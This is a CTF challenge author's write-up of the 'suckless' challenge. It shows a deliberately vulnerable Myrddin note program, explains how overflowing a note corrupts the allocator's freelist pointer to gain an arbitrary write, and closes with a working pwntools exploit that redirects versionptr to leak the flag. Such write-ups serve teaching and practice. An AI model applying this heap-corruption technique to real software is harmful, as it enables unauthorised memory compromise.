Well, this is certainly overdue. It's the writeup for a challenge I authored for this year's UMass CTF, which ran from October 5th to October 12th. Yes, I'm late. But when you attend a university that tried very hard to squeeze the entire semester twelve weeks, you're going to deal with burnout and not nearly enough time to do things outside of your coursework. So I'm finally coming back to the challenge now that the semester's ended.
suckless was released on the 9th, and no one solved it. The challenge revolved
around a program, sldiary, which allowed the user to create "notes" which would
be saved to memory and could be recalled later. It was written in Myrddin, which
I wrote about earlier this year. The source code for the program was provided
with the challenge, and is listed below.
use std
var flag = "You neet to hit the server for flag"
var version = "sldiary 0.1.1"
var versionptr
const intro = {
versionptr = &version
std.put("(\\ \n")
std.put("\\'\\ \n")
std.put(" \\'\\ __________ \n")
std.put(" / '| ()_________)\n")
std.put(" \\ '/ \\ ~~~~~~~~ \\ {}\n", version)
std.put(" \\ \\ ~~~~~~ \\\n")
std.put(" ==). \\__________\\\n")
std.put(" (__) ()__________)\n")
std.put("\n")
std.put("type 'help' for available commands\n")
}
const showver = {
var tmp = flag
std.put("this is {}\n", versionptr#)
}
const addmsg = {n, buf -> byte#
var i
var msg = std.bytealloc(n)
for i = 0; buf[i] != ('\n' : byte); i++;
(((msg : std.size) + i) : byte#)# = buf[i]
;;
-> msg
}
const msgstrconv = {n, msg
var i
var sb = std.mksb()
for i = 0; i < n; i++
std.sbputc(sb, ((((msg : uint64) + i) : byte#)# : char))
;;
-> std.sbfin(sb)
}
const getln = {
var sb = std.mksb()
var buf = std.slalloc(0x40)
match std.read(std.In, buf)
| `std.Ok(n):
| `std.Err(n): std.die("i/o error")
;;
std.sbputs(sb, buf)
-> std.sbfin(sb)
}
const main = {
intro()
var notes = std.slalloc(0)
var line
while true
std.put("> ")
line = getln()
if std.strhas(line, "help")
std.put("help: print this\n")
std.put("new: make a new note\n")
std.put("show: show all of your notes\n")
std.put("version: show the version of sldiary\n")
elif std.strhas(line, "new")
std.put("note length: ")
std.slfree(line)
line = getln()
var len
match std.strfind(line, "\n")
| `std.Some(n): line = line[:n]
| `std.None:
;;
match std.intparse(line)
| `std.Some(n): len = n
| `std.None: std.put("invalid length\n"); continue
;;
std.put("note: ")
std.slfree(line)
line = getln()
var msg = addmsg(len, line)
notes = std.slpush(¬es, (len, msg))
elif std.strhas(line, "show")
var i
for i = 0; i < notes.len; i++;
var len, msg
(len, msg) = notes[i]
std.put("address: {}\n", (msg : byte#))
std.put("{}: {}\n", i, msgstrconv((len : uint64), msg))
;;
elif std.strhas(line, "version")
showver()
else
std.put("invalid command\n")
;;
std.slfree(line)
;;
std.slfree(notes)
}
Even without being familiar with Myrddin, asking for the length of the note
before reading it in is suspicious. And, indeed, this is where the vulnerability
lies. The program reads in len ("note length") and msg ("note"), and calls
addmsg(len, line), which obtains a chunk of memory as std.bytealloc(len) (where
std.bytealloc is effectively equivalent to malloc (3)), and fills it with the
contents of msg up to the first occurrence of '\n' – the line feed character,
which indicates the end of what the user typed into the program.
So, we can corrupt the heap, but now what?
The caveat to this challenge was that the attacker would be corrupting a Myrddin
heap, not i.e. a glibc heap. So if you were going to solve this challenge, you
would need to have needed to read the source code for the Myrddin standard
library. Fortunately, this is rather easy to navigate, and std.alloc is written
in pure Myrddin.
For those playing along at home, the source code for Myrddin is found here, and
the source code for std.bytealloc is contained in lib/std/bytealloc.myr.
/* Allocates a blob that is 'sz' bytes long. Dies if the allocation fails */
const bytealloc = {sz
var bkt, p
if sz <= Bktmax
bkt = &buckets[bktnum(sz)]
lock(memlck)
p = bktalloc(bkt)
unlock(memlck)
else
p = bigalloc(sz)
;;
if trace
lock(memlck)
tracealloc(p, sz)
unlock(memlck)
;;
-> p
}
Where the memory format of slab is
type slab = struct
head : byte# /* head of virtual addresses, so we don't leak address space */
next : slab# /* the next slab on the chain */
prev : slab# /* the prev slab on the chain */
freehd : chunk# /* the nodes we're allocating */
nfree : size /* the number of free nodes */
magic : size /* ensure we didn't index into the void */
;;
and the source for bktalloc is
/*
Allocates a node from bucket 'bkt', crashing if the
allocation cannot be satisfied. Will create a new slab
if there are no slabs on the freelist.
*/
const bktalloc = {bkt
var s, c
/* find a slab */
s = bkt.slabs
if s == Zslab
s = mkslab(bkt)
bkt.slabs = s
if s == Zslab
die("No memory left")
;;
;;
/* grab the first chunk on the slab */
c = s.freehd
s.freehd = c.next
s.nfree--
if s.freehd == Zchunk
bkt.slabs = s.next
if s.next != Zslab
s.next.prev = Zslab
;;
;;
-> (c : byte#)
}
Below the comment reading 'grab the first chunk on the slab' is code to unlink
the head of a linked list (freehd). When a slab of memory is allocated, its
space is divided into chunks. Each chunk is initially a pointer to the next
chunk. When we take a chunk to satisfy an allocation request, that pointer (and
the space after it) is overwritten with user data, and the slab's "next free
chunk" (freehd) is updated to point at whatever the cdr1 of that chunk was.
It's a pretty simple heap format.
Thus, when we can overwrite the cdr pointer, we have a write-anything-anywhere
primitive. So, why not overwrite the unusually suspect versionptr used in
showver?
const showver = {
var tmp = flag
std.put("this is {}\n", versionptr#)
}
If we overwrite versionptr to point to flag, we can dump the flag. So that's
exactly what we'll do.
import struct from pwn import * context(arch="x86_64", os="linux") VERSIONPTR_ADDR = 0x0042e850 FLAG_ADDR = 0x42a048 p = process(["./suckless"], False, "./suckless") # Allocate first chunk. p.recvuntil("> ") p.sendline("new") p.recvuntil("note length: ") p.sendline("8") p.recvuntil("note: ") p.sendline((b"A" * 16) + struct.pack("Q", VERSIONPTR_ADDR)) p.recvuntil("> ") p.sendline("show") p.recvuntil("address: ") dbg = int(p.recvline(), 16) # Allocate dummy chunk. p.recvuntil("> ") p.sendline("new") p.recvuntil("note length: ") p.sendline("8") p.recvuntil("note: ") p.sendline((b"B" * 8)) p.recvuntil("> ") p.sendline("show") # Overwrite versionptr. p.recvuntil("> ") p.sendline("new") p.recvuntil("note length: ") p.sendline("8") p.recvuntil("note: ") p.sendline(struct.pack("Q", FLAG_ADDR)) p.recvuntil("> ") p.sendline("version") print(p.recvuntil("> "))
Footnotes:
Or next if you're some sort of filthy C programmer.
Comment form